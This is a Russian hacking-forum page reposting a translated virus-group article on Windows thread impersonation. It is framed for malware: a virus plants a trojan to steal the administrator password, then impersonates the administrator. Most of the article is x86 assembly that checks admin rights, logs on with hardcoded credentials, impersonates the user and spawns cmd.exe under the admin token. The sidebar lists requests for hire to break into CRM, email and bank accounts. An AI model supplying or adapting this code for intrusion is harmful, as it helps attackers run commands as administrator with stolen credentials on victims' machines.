Информационная Безопасность. Аудит Безопасности


Нажмите CTRL-D чтобы добавить нас в закладки
HackZone.RU - Имперсонация
Войти / Регистрация / Участники
Определение даты выпуска iPhone по серийному номеру
-
Поиск по сайту
Форумы



Реклама

Программирование / Другое RSS подписка на сообщения с форума Subscribe


Новая тема Наиболее обсуждаемые темы Наиболее посещаемые темы
Поиск 
Период
Перейти

Просмотров - 6555
Имперсонация
Добавить этот топик в закладки »
RSS-лента ответов »Subscribe
evangard




Advanced Member
# | Сообщение добавлено 12.02.2007 22:37:43
Отредактировано 2007-02-13 04:28:23 by SpiderWebb
Введение:
 
Представьте ситуацию. Ваша программа выполняется не под правами администратора, но у вас есть пароль администратора. У вас есть привилегии, которые вам нужны, и теперь вы думаете, что с ними делать? Ответом является имперсонация.
 
Давайте взглянем на определение имперсонации в MSDN:
 
- Имперсонация - это способность треда использовать другую информацию о безопасности, нежели та, что доступна процессу, который владеет тредом.
 
Существует много типов имперсонации, например DDE, именованные пайпы, RPC-имперсонация и так далее. Обычно имперсонация используется, когда серверу необходимо некоторое время действовать как клиент. Но мы используем этот метод, чтобы дать нашему треду права администратора и создать процесс, обладающий такими правами...
 
Требуемые привилегии:
 
Сценарий использования имперсонации может выглядеть так: ваш вирус запускается под правами администратора и устанавливает троян, чтобы получить права администратора. Затем, будучи запущенным под правами обычного пользователя, он осуществляет имперсонацию и работает, как если бы был запущен администратором.
 
Проверка:
 
Во-первых, мы хотим узнать, запущен ли ваш процесс под правами администратора или нет (бессмысленно проводить имперсонацию администратора, если вы уже им являетесь :) ). Этот небольшой отрывок кода может вам помочь...
 
- Проверка прав -
 
;----------------------------------------------------------------------------- ; Функция CheckTokenMemberShip находится в advapi32.dll
 
; Если используется для имперсоницированного токена (token), не возвратит
 
; правильного результата
 
SECURITY_BUILTIN_DOMAIN_RID equ 20h
 
DOMAIN_ALIAS_RID_ADMINS equ 220h
 
SECURITY_NT_AUTHORITY equ 5
 
; на выходе: eax - булевое значение
 
is_caller_admin proc near
 
pushad
 
@SEH_SetupFrame
 
<jmp is_caller_admin_end>
 
@pushvar <dd ?>
 
pop eax
 
and dword ptr [eax], 0
 
push eax
 
push eax
 
align 4
 
call $+24
 
db 0ffh, 25h, 60h
 
db 1 ; создаем SID администратора
 
db 2
 
db 0, 0, 0, 0, 0, SECURITY_NT_AUTHORITY
 
dd SECURITY_BUILTIN_DOMAIN_RID
 
dd DOMAIN_ALIAS_RID_ADMINS
 
add dword ptr [esp], 3
 
push 0 ; проверяем токен выполняющегося треда
 
call CheckTokenMembership ; for admin SID
 
pop eax
 
mov eax, dword ptr [eax]
 
is_caller_admin_end:
 
@SEH_RemoveFrame
 
mov dword ptr [esp.Pushad_eax], eax
 
popad
 
retn
 
is_caller_admin endp
 
;-----------------------------------------------------------------------------
 
Имперсонация выполняющегося треда.
 
Пусть у нас есть логин "adminstrator" с паролем "fucker". Во-первых, мы должны залогинить этого пользователя. Для этого мы используем функцию LogonUser, которая экспортируется из advpi32.dll. Давайте взглянем на прототип:
 
BOOL LogonUser(
 
LPTSTR lpszUsername, // имя пользователя
 
LPTSTR lpszDomain, // домен или сервер
 
LPTSTR lpszPassword, // пароль
 
DWORD dwLogonType, // тип операции начала сеанса
 
DWORD dwLogonProvider, // провайдер начала сеанса
 
PHANDLE phToken // получает хэндл токенов
 
);
 
В phToken мы получим хэндлы токенов, которые нам потребуются в дальнейшем. Провайдер начала сеанса будет null, т.е. по умолчанию. Тип начала сеанса будет LOGON32_LOGON_INTERACTIVE, пароль и имя пользователя очевидны. Домейн будет равен null. Теперь давайте взглянем на код.
 
- Залогинивание пользователя -
 
;-----------------------------------------------------------------------------
 
LOGON32_LOGON_INTERACTIVE equ 2
 
@pushvar
 
push 0
 
push LOGON32_LOGON_INTERACTIVE
 
@pushsz "fucker"
 
push 0
 
@pushsz "administrator"
 
call LogonUserA
 
;-----------------------------------------------------------------------------
 
Если все прошло хорошо, то теперь у нас есть токен имперсонации. Теперь мы будем использовать функцию ImpersonateLoggedOnUser, которая в конце концов объявит наш тред как имперсоницированный. Функция принимает один аргумент - токен.
 
- Имперсонация пользователя -
 
;-----------------------------------------------------------------------------
 
push dword ptr [htoken]
 
call ImpersonateLoggedOnUser
 
;-----------------------------------------------------------------------------
 
Теперь наш тред запущен под правами администратора. Мы можем делать все, что нам нужно, а затем, когда мы закончим с этим и захотим вернуть себе обратно старые права, просто вызовем функцию RevertToSelf...
 
- Возврат старых прав -
 
;-----------------------------------------------------------------------------
 
call dword ptr [ebp+tRevertToSelf]
 
;-----------------------------------------------------------------------------
 
Создание нового процесса в имперсоницированном контексте безопасности.
 
Во-первых, мы должны залогиниться, как и в предыдущем случае. Просто используйте тот же код, что и в разделе - Залогинивание пользователя -. Мы будем использовать функцию CreateProcessAsUser, которая также экспортируется из advapi32.dll. Эта функция почти такая же, как и CreateProcess, но она принимает на один аргумент больше - токер.
 
- Создание процесса с правами администратора -
 
;-----------------------------------------------------------------------------
 
GMEM_ZEROINIT equ 040h
 
push type(PROCESS_INFORMATION)+type(STARTUPINFO)
 
push GMEM_ZEROINIT
 
call GlobalAlloc
 
xchg eax, ebx
 
xor eax,eax
 
push ebx
 
push ebx
 
add dword ptr [esp], type(PROCESS_INFORMATION)
 
push eax
 
push eax
 
push eax
 
push 1
 
push eax
 
push eax
 
@pushsz "cmd.exe";
 
push eax
 
push dword ptr [htoken]
 
call CreateProcessAsUserA
 
push ebx
 
call GlobalFree
 
push dword ptr [htoken]
 
call CloseHandle ;-----------------------------------------------------------------------------
 
Это отрывок кода запустит копию командного интерпретатора, который будет выполняться в контексте безопасности администратора...
 
Как вы можете видеть, имперсонация - это очень мощная вещь. Единственное слабое звено - это пароли. Но если вы найдете хороший путь, чтобы получить пароли (например, троян), тогда она станет вашим лучшим другом :).
 
© Ваш друг имперсонация /27.06.02/ Ratter/29A, пер. Aquila
Windows Assembly Site
Сказать спасибо Ответить Цитировать


Только зарегистрированные пользователи могут оставлять сообщения в форуме

Зарегистрироваться *** Авторизоваться

 Последние новости и статьи  Последние сообщения с форумов
  • В darknet сливают данные 100 000 российских банковских карт
  • Вирус Escobar ворует коды двухфакторной аутентификации из Google ...
  • DeadBolt использует уязвимость, исправленную в декабре
  • Почти миллион WordPress-сайтов в опасности из-за уязвимости в поп...
  • Шифровальщик DeadBolt взломал 3600 NAS. Qnap устанавливает обновл...
  • Банковский троян Chaes устанавливает вредоносные расширения для C...
  • Взломана платформа Qubit Finance, хакеры похитили 80 млн долларов
  • Арест участников REvil взволновал других преступников
  • Обнаружена malware MoonBounce, внедряющаяся в UEFI
  • Администратор кардерского форума UniCC и участник хак-группы The ...

    Все новости... Все статьи... Прислать новость RSS
  • Разное / Предложения работы » Взлом авторизации CRM
  • Разное / Предложения работы » взломать сайт и выграть электронную жеребьёвку
  • Разное / Предложения работы » разблокировать сбер аккаунт
  • Разное / Болталка » Re: Форум жив?
  • Разное / Болталка » Форум жив?
  • Разное / Болталка » С Новым 2022 Годом!
  • Взлом и безопасность / Программы » Re: Hasp ключ для ABC-4
  • Портал / Отзывы и предложения » Предлагаем партнерство вашему форуму.
  • Разное / Предложения работы » взлом почты
  • Разное / Куплю, приму в дар » Покупка аккаунтов Uphold

    Все форумы... RSS


  • Разместить рекламу
    © HackZone Ltd. 1996-2020. Все права зарегистрированы.
    Перепечатка материалов без согласования и указания источника будет преследоваться по Закону

    О проекте | История проекта | Размещение рекламы | Обратная связь | Правила поведения на портале
    contador de visitas счетчик посещений

    #{title}

    #{text}

    x

    #{title}

    #{text}